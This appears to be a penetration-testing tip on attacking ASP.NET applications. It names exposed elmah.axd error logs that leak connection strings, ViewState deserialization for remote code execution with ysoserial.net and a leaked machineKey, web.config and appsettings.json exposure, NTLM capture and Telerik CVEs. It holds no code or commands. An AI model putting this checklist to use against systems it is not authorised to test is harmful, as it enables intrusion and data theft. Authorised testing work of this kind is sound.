ASP.NET testing = `elmah.axd` exposure + ViewState deserialization (ysoserial.net) + appsettings.json/web.config + NTLM auth capture. elmah.axd is the fastest critical win — it dumps the entire application error log including connection strings. ViewState RCE requires the machineKey (from web.config exposure) or MAC validation being disabled — ysoserial.net handles the payload generation. Telerik UI components are extremely common and have multiple critical CVEs — always fingerprint and check.
|